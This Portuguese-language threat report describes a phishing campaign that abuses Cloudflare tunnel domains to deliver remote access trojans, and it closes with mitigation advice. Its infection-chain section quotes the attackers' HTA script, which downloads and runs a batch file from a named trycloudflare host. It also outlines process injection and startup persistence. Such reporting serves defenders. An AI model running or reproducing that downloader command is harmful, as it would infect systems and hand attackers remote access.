Pesquisadores de segurança cibernética identificaram uma campanha de ataque sofisticada que explora a infraestrutura de túneis da Cloudflare para distribuir diversos trojans de acesso remoto (RATs). Desde fevereiro de 2024, essa infraestrutura tem demonstrado resiliência notável, servindo como plataforma de distribuição para arquivos maliciosos que permitem aos invasores obter acesso não autorizado aos sistemas das vítimas.
Vetor de infecção: E-mails de phishing disfarçados
O vetor primário de infecção começa com e-mails de phishing enganosos contendo anexos maliciosos disfarçados de faturas ou pedidos. Esses e-mails frequentemente criam um senso de urgência e podem incluir conversas falsas com respostas forjadas para parecerem legítimos. O anexo geralmente utiliza o formato de arquivo “application/windows-library+xml”, que frequentemente contorna gateways de segurança de e-mail devido à sua natureza aparentemente inofensiva em comparação com arquivos binários.
Ao ser aberto, o arquivo estabelece uma conexão com um recurso remoto WebDav hospedado na infraestrutura de túneis da Cloudflare. Analistas da equipe Sekoia TDR (Threat Detection & Research) monitoraram essa infraestrutura de ataque, referindo-se internamente a ela como “infraestrutura de túneis da Cloudflare para entregar múltiplos RATs”. A análise revela uma cadeia de infecção intrincada de múltiplos estágios que emprega várias técnicas de ofuscação para evadir sistemas de detecção.
Os invasores utilizam domínios com o sufixo “trycloudflare.com”, incluindo “malawi-light-pill-bolt.trycloudflare.com”, “players-time-corresponding-th.trycloudflare.com” e outros para hospedar seu conteúdo malicioso. Essa infraestrutura entrega cargas úteis que, em última análise, estabelecem acesso remoto persistente aos sistemas comprometidos, potencialmente permitindo o roubo de dados e comprometimento adicional da rede.
Mecânica da cadeia de ataques
O processo de infecção começa quando um usuário interage com um arquivo LNK disfarçado de documento PDF. Esse atalho, em vez de abrir um documento legítimo, executa um arquivo HTA do mesmo servidor remoto. O conteúdo do HTA revela como o ataque progride:
Set oShell = CreateObject(“WScript.Shell”)
oShell.Run “cmd.exe /c curl -o %temp%\\ben.bat https://players-time-corresponding-th.trycloudflare.com/ben.bat && %temp%\\ben.bat”, 0, false
self.Close
Esse script aciona um arquivo BAT que instala o Python e executa código Python ofuscado, que então injeta o próximo estágio da carga útil nos processos “notepad.exe”.
Para persistência, o malware cria entradas de inicialização com dois arquivos VBS e outro arquivo BAT colocados na pasta de Inicialização do Windows. O estágio final utiliza o PowerShell para carregar reflexivamente uma carga útil baixada de uma imagem JPEG com uma carga útil base64 embutida. Isso estabelece a conexão do RAT com seu servidor de comando e controle, frequentemente usando serviços de DNS dinâmico como “duckdns.org” para comunicação.
Recomendações para mitigação
-
Educação e Conscientização: Treinar os funcionários para reconhecer e-mails de phishing e evitar abrir anexos suspeitos.
-
Filtragem de E-mails: Implementar soluções de segurança de e-mail que possam detectar e bloquear anexos com formatos incomuns ou suspeitos.
-
Monitoramento de Rede: Utilizar ferramentas de monitoramento para identificar conexões incomuns, especialmente aquelas que utilizam domínios “trycloudflare.com”.
-
Políticas de Execução de Scripts: Restringir a execução de scripts e arquivos executáveis provenientes de fontes não confiáveis.
-
Atualizações e Patches: Manter todos os sistemas e softwares atualizados com os patches de segurança mais recentes.
A evolução dessa campanha de ataque demonstra como os agentes de ameaça continuam a adaptar suas técnicas para contornar os controles de segurança, enfatizando a importância de abordagens de detecção em várias camadas.
